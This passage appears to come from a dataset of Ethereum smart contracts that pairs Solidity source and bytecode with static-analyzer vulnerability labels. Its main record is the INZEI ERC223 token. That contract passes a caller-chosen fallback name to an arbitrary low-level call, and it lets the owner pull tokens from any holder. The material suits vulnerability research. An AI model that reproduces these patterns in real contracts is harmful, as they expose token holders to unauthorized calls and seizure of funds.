7360b01b6064820152608401610401565b6000610b0a610d8a565b9050610b168382610dad565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610bb557610bb5611307565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c2e57600080fd5b505afa158015610c42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c66919061138f565b81600181518110610c7957610c79611307565b60200260200101906001600160a01b031690816001600160a01b031681525050610cc4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461063b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790610d199085906000908690309042906004016113ac565b600060405180830381600087803b158015610d3357600080fd5b505af1158015610d47573d6000803e3d6000fd5b5050600d805460ff60a01b1916905550505050565b80610d6957610d69610db9565b610d74848484610de7565b806109e0576109e0600a54600855600b54600955565b6000806000610d97610ede565b9092509050610da68282610dad565b9250505090565b6000610b16828461134e565b600854158015610dc95750600954155b15610dd057565b60088054600a5560098054600b5560009182905555565b600080600080600080610df987610f26565b6001600160a01b038f16600090815260016020526040902054959b50939950919750955093509150610e2b9087610f83565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054610e5a9086610f8f565b6001600160a01b038916600090815260016020526040902055610e7c81610f9b565b610e868483610fe5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ecb91815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce8000000610efd8282610dad565b821015610f1d575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000806000806000806000806000610f438a600854600954611009565b9250925092506000610f53610d8a565b90506000806000610f668e87878761105e565b919e509c509a509598509396509194505050505091939550919395565b6000610b16828461141d565b6000610b168284611434565b6000610fa5610d8a565b90506000610fb383836110ae565b30600090815260016020526040902054909150610fd09082610f8f565b30600090815260016020526040902055505050565b600654610ff29083610f83565b6006556007546110029082610f8f565b6007555050565b6000808080611023606461101d89896110ae565b90610dad565b90506000611036606461101d8a896110ae565b9050600061104e826110488b86610f83565b90610f83565b9992985090965090945050505050565b600080808061106d88866110ae565b9050600061107b88876110ae565b9050600061108988886110ae565b9050600061109b826110488686610f83565b939b939a50919850919650505050505050565b6000610b168284611370565b600060208083528351808285015260005b818110156110e7578581018301518582016040015282016110cb565b818111156110f9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461045f57600080fd5b803561112f8161110f565b919050565b6000806040838503121561114757600080fd5b82356111528161110f565b946020939093013593505050565b60008060006060848603121561117557600080fd5b83356111808161110f565b925060208401356111908161110f565b929592945050506040919091013590565b6000602082840312156111b357600080fd5b8135610b168161110f565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156111e757600080fd5b823567ffffffffffffffff808211156111ff57600080fd5b818501915085601f83011261121357600080fd5b813581811115611225576112256111be565b8060051b604051601f19603f8301168101818110858211171561124a5761124a6111be565b60405291825284820192508381018501918883111561126857600080fd5b938501935b8285101561128d5761127e85611124565b8452938501939285019261126d565b98975050505050505050565b600080604083850312156112ac57600080fd5b82356112b78161110f565b915060208301356112c78161110f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156113475761134761131d565b5060010190565b60008261136b57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561138a5761138a61131d565b500290565b6000602082840312156113a157600080fd5b8151610b168161110f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113fc5784516001600160a01b0316835293830193918301916001016113d7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008282101561142f5761142f61131d565b500390565b600082198211156114475761144761131d565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122073f832e086d7943889675bb160d083f4ad011b4fb6532cd6041233e2a851388864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,068 |
0xc4e8cb21436e79ba9ed0abeaec010a1982125b80
|
pragma solidity ^0.4.20;
/**
* @title ContractReceiver
* @dev Receiver for ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract INZEI is ERC223, Ownable {
using SafeMath for uint256;
string public name = "INZEI";
string public symbol = "INZ";
uint8 public decimals = 8;
uint256 public initialSupply = 10e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function INZEI() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeTokens(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6060604052600436106101245763ffffffff60e060020a60003504166305d2035b811461012e57806306fdde031461015557806318160ddd146101df578063256fa24114610204578063313ce56714610255578063378dc3dc1461027e57806340c10f19146102915780634f25eced146102b357806364ddc605146102c657806370a08231146103555780637d64bcb4146103745780638da5cb5b1461038757806395d89b41146103b65780639dc29fac146103c9578063a8f11eb914610124578063a9059cbb146103eb578063b414d4b61461040d578063be45fd621461042c578063c341b9f614610491578063cbbe974b146104e4578063d39b1d4814610503578063f0dc417114610519578063f2fde38b146105a8578063f6368f8a146105c7575b61012c61066e565b005b341561013957600080fd5b6101416107d0565b604051901515815260200160405180910390f35b341561016057600080fd5b6101686107d9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b6101f2610881565b60405190815260200160405180910390f35b341561020f57600080fd5b6101416004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650509335935061088792505050565b341561026057600080fd5b610268610b02565b60405160ff909116815260200160405180910390f35b341561028957600080fd5b6101f2610b0b565b341561029c57600080fd5b610141600160a060020a0360043516602435610b11565b34156102be57600080fd5b6101f2610c06565b34156102d157600080fd5b61012c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610c0c95505050505050565b341561036057600080fd5b6101f2600160a060020a0360043516610d66565b341561037f57600080fd5b610141610d81565b341561039257600080fd5b61039a610dee565b604051600160a060020a03909116815260200160405180910390f35b34156103c157600080fd5b610168610dfd565b34156103d457600080fd5b61012c600160a060020a0360043516602435610e70565b34156103f657600080fd5b610141600160a060020a0360043516602435610f3b565b341561041857600080fd5b610141600160a060020a0360043516611016565b341561043757600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061102b95505050505050565b341561049c57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506110fd9050565b34156104ef57600080fd5b6101f2600160a060020a03600435166111ff565b341561050e57600080fd5b61012c600435611211565b341561052457600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061123195505050505050565b34156105b357600080fd5b61012c600160a060020a0360043516611518565b34156105d257600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506115b395505050505050565b6000600754118015610696575060075460015461069390600160a060020a0316610d66565b10155b80156106bb5750600160a060020a0333166000908152600a602052604090205460ff16155b80156106de5750600160a060020a0333166000908152600b602052604090205442115b15156106e957600080fd5b600034111561072657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072657600080fd5b600154600160a060020a031660009081526009602052604090205460075461074e91906118d9565b600154600160a060020a0390811660009081526009602052604080822093909355339091168152205460075461078491906118eb565b600160a060020a0333811660008181526009602052604090819020939093556001546007549193921691600080516020611cb983398151915291905190815260200160405180910390a3565b60085460ff1681565b6107e1611ca6565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b60065490565b6000806000808411801561089c575060008551115b80156108c15750600160a060020a0333166000908152600a602052604090205460ff16155b80156108e45750600160a060020a0333166000908152600b602052604090205442115b15156108ef57600080fd5b6108fd846305f5e1006118fa565b935061090a8486516118fa565b600160a060020a0333166000908152600960205260409020549092508290101561093357600080fd5b5060005b8451811015610abb5784818151811061094c57fe5b90602001906020020151600160a060020a0316158015906109a15750600a600086838151811061097857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156109e65750600b60008683815181106109b857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156109f157600080fd5b610a3560096000878481518110610a0457fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054856118eb565b60096000878481518110610a4557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610a7557fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3600101610937565b600160a060020a033316600090815260096020526040902054610ade90836118d9565b33600160a060020a0316600090815260096020526040902055506001949350505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610b2f57600080fd5b60085460ff1615610b3f57600080fd5b60008211610b4c57600080fd5b610b58600654836118eb565b600655600160a060020a038316600090815260096020526040902054610b7e90836118eb565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611cb98339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610c2a57600080fd5b60008351118015610c3c575081518351145b1515610c4757600080fd5b5060005b8251811015610d6157818181518110610c6057fe5b90602001906020020151600b6000858481518110610c7a57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610ca857600080fd5b818181518110610cb457fe5b90602001906020020151600b6000858481518110610cce57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610cfe57fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610d3e57fe5b9060200190602002015160405190815260200160405180910390a2600101610c4b565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610d9f57600080fd5b60085460ff1615610daf57600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b610e05611ca6565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b60015433600160a060020a03908116911614610e8b57600080fd5b600081118015610ea3575080610ea083610d66565b10155b1515610eae57600080fd5b600160a060020a038216600090815260096020526040902054610ed190826118d9565b600160a060020a038316600090815260096020526040902055600654610ef790826118d9565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000610f45611ca6565b600083118015610f6e5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f935750600160a060020a0384166000908152600a602052604090205460ff16155b8015610fb65750600160a060020a0333166000908152600b602052604090205442115b8015610fd95750600160a060020a0384166000908152600b602052604090205442115b1515610fe457600080fd5b610fed84611925565b1561100457610ffd84848361192d565b915061100f565b610ffd848483611b53565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156110555750600160a060020a0333166000908152600a602052604090205460ff16155b801561107a5750600160a060020a0384166000908152600a602052604090205460ff16155b801561109d5750600160a060020a0333166000908152600b602052604090205442115b80156110c05750600160a060020a0384166000908152600b602052604090205442115b15156110cb57600080fd5b6110d484611925565b156110eb576110e484848461192d565b90506110f6565b6110e4848484611b53565b9392505050565b60015460009033600160a060020a0390811691161461111b57600080fd5b600083511161112957600080fd5b5060005b8251811015610d615782818151811061114257fe5b90602001906020020151600160a060020a0316151561116057600080fd5b81600a600085848151811061117157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106111af57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161112d565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461122c57600080fd5b600755565b6001546000908190819033600160a060020a0390811691161461125357600080fd5b60008551118015611265575083518551145b151561127057600080fd5b5060009050805b84518110156114f557600084828151811061128e57fe5b906020019060200201511180156112c257508481815181106112ac57fe5b90602001906020020151600160a060020a031615155b80156113025750600a60008683815181106112d957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156113475750600b600086838151811061131957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561135257600080fd5b61137584828151811061136157fe5b906020019060200201516305f5e1006118fa565b84828151811061138157fe5b6020908102909101015283818151811061139757fe5b90602001906020020151600960008784815181106113b157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410156113e057600080fd5b611439600960008784815181106113f357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205485838151811061142a57fe5b906020019060200201516118d9565b6009600087848151811061144957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205561148c8285838151811061147d57fe5b906020019060200201516118eb565b915033600160a060020a03168582815181106114a457fe5b90602001906020020151600160a060020a0316600080516020611cb98339815191528684815181106114d257fe5b9060200190602002015160405190815260200160405180910390a3600101611277565b600160a060020a033316600090815260096020526040902054610ade90836118eb565b60015433600160a060020a0390811691161461153357600080fd5b600160a060020a038116151561154857600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156115dd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156116025750600160a060020a0385166000908152600a602052604090205460ff16155b80156116255750600160a060020a0333166000908152600b602052604090205442115b80156116485750600160a060020a0385166000908152600b602052604090205442115b151561165357600080fd5b61165c85611925565b156118c3578361166b33610d66565b101561167657600080fd5b61168861168233610d66565b856118d9565b600160a060020a0333166000908152600960205260409020556116b36116ad86610d66565b856118eb565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b602083106117015780518252601f1990920191602091820191016116e2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561179257808201518382015260200161177a565b50505050905090810190601f1680156117bf5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156117e357fe5b826040518082805190602001908083835b602083106118135780518252601f1990920191602091820191016117f4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a35060016118d1565b6118ce858585611b53565b90505b949350505050565b6000828211156118e557fe5b50900390565b6000828201838110156110f657fe5b60008083151561190d576000915061100f565b5082820282848281151561191d57fe5b04146110f657fe5b6000903b1190565b6000808361193a33610d66565b101561194557600080fd5b61195161168233610d66565b600160a060020a0333166000908152600960205260409020556119766116ad86610d66565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a0f5780820151838201526020016119f7565b50505050905090810190601f168015611a3c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5c57600080fd5b6102c65a03f11515611a6d57600080fd5b505050826040518082805190602001908083835b60208310611aa05780518252601f199092019160209182019101611a81565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3506001949350505050565b600082611b5f33610d66565b1015611b6a57600080fd5b611b7c611b7633610d66565b846118d9565b600160a060020a033316600090815260096020526040902055611ba7611ba185610d66565b846118eb565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b60208310611bf45780518252601f199092019160209182019101611bd5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611cb98339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208185378097695b6da0e18fa7455b5f9070f34bf22efd942fa68a3cdda9579b7a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,069 |
0xef7d56569749293b9c59ab5b55441ef39ce76f5f
|
pragma solidity 0.4.24;
// File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
